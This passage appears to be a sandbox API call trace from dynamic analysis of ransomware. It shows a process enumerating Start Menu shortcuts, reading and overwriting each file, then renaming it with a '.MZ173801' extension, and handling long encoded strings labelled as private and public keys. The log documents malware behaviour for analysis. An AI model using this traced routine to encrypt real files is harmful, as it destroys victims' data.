lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\internet explorer.lnk.mz173801")) returned 1 [0193.021] GetCurrentThreadId () returned 0xab4 [0193.021] GetCurrentThreadId () returned 0xab4 [0193.021] GetCurrentThreadId () returned 0xab4 [0193.021] GetCurrentThreadId () returned 0xab4 [0193.021] GetCurrentThreadId () returned 0xab4 [0193.021] GetCurrentThreadId () returned 0xab4 [0193.021] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6543ef5f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Notepad.lnk", cAlternateFileName="")) returned 1 [0193.021] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0193.021] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6543ef5f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486)) returned 1 [0193.022] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk")) returned 0x20 [0193.023] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk", dwFileAttributes=0x80) returned 1 [0193.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0193.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0193.241] GetCurrentThreadId () returned 0xab4 [0193.241] GetCurrentThreadId () returned 0xab4 [0193.241] GetCurrentThreadId () returned 0xab4 [0193.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0193.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0193.242] GetCurrentThreadId () returned 0xab4 [0193.242] GetCurrentThreadId () returned 0xab4 [0193.242] GetCurrentThreadId () returned 0xab4 [0193.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0193.242] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0193.242] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0193.242] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x486 [0193.242] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0193.242] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x486, lpOverlapped=0x0) returned 1 [0193.256] CloseHandle (hObject=0x330) returned 1 [0193.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0193.376] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x486, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x486, lpOverlapped=0x0) returned 1 [0193.377] CloseHandle (hObject=0x330) returned 1 [0193.472] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk.mz173801")) returned 1 [0193.797] GetCurrentThreadId () returned 0xab4 [0193.797] GetCurrentThreadId () returned 0xab4 [0193.797] GetCurrentThreadId () returned 0xab4 [0193.798] GetCurrentThreadId () returned 0xab4 [0193.798] GetCurrentThreadId () returned 0xab4 [0193.798] GetCurrentThreadId () returned 0xab4 [0193.798] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6543ef5f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Notepad.lnk", cAlternateFileName="")) returned 0 [0193.798] GetLastError () returned 0x12 [0193.798] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0193.798] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9d7653cb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x9d7653cb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0193.798] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.798] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.798] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9d7653cb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x9d7653cb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.798] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0193.798] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.798] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0193.798] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccacd784, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9ce2816b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Internet Explorer.lnk.MZ173801", cAlternateFileName="INTERN~1.MZ1")) returned 1 [0193.798] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0193.798] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, 